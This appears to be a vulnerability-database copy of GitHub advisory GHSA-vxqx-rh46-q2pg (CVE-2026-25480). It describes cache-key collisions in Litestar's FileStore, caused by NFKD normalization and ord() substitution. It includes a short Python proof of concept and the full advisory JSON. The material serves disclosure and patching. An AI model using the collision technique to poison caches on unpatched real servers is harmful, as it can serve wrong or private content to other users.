GHSA-VXQX-RH46-Q2PG
Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38Summary
FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)
Details
litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.:
- "k-" and "k45" both become "k45" (because - ord('-') == 45)
- "k/\n" becomes "k4710", colliding with "k4710"
- "K" (Kelvin sign) normalizes to "K", colliding with "K"
When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.
PoC
import asyncio, tempfile
from litestar.stores.file import FileStore
async def main():
d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
store = FileStore(d, create_directories=True)
await store.__aenter__()
# 1) ASCII ord-collision: "-" -> 45
await store.set("k-", b"A")
v = await store.get("k45")
print("k- ->", v)
print("k45 ->", await store.get("k45"))
if v == b"A":
print("VULNERABLE: 'k-' collides with 'k45'")
# 2) NFKD collision: Kelvin sign -> K
await store.set("K", b"B") # U+212A
v2 = await store.get("K")
print("K ->", await store.get("K"))
print("K ->", v2)
if v2 == b"B":
print("VULNERABLE: 'K' collides with 'K' (NFKD)")
if __name__ == "__main__":
asyncio.run(main())
Impact
Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.19.0"
]
}
],
"aliases": [
"CVE-2026-25480"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T17:19:06Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
},
"details": "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord(\u0027-\u0027) == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"\u212a\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n store = FileStore(d, create_directories=True)\n await store.__aenter__()\n\n # 1) ASCII ord-collision: \"-\" -\u003e 45\n await store.set(\"k-\", b\"A\")\n v = await store.get(\"k45\")\n print(\"k- -\u003e\", v)\n print(\"k45 -\u003e\", await store.get(\"k45\"))\n if v == b\"A\":\n print(\"VULNERABLE: \u0027k-\u0027 collides with \u0027k45\u0027\")\n\n # 2) NFKD collision: Kelvin sign -\u003e K\n await store.set(\"\u212a\", b\"B\") # U+212A\n v2 = await store.get(\"K\")\n print(\"\u212a -\u003e\", await store.get(\"\u212a\"))\n print(\"K -\u003e\", v2)\n if v2 == b\"B\":\n print(\"VULNERABLE: \u0027\u212a\u0027 collides with \u0027K\u0027 (NFKD)\")\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
"id": "GHSA-vxqx-rh46-q2pg",
"modified": "2026-02-09T22:38:14Z",
"published": "2026-02-09T17:19:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
},
{
"type": "WEB",
"url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Litestar\u0027s FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.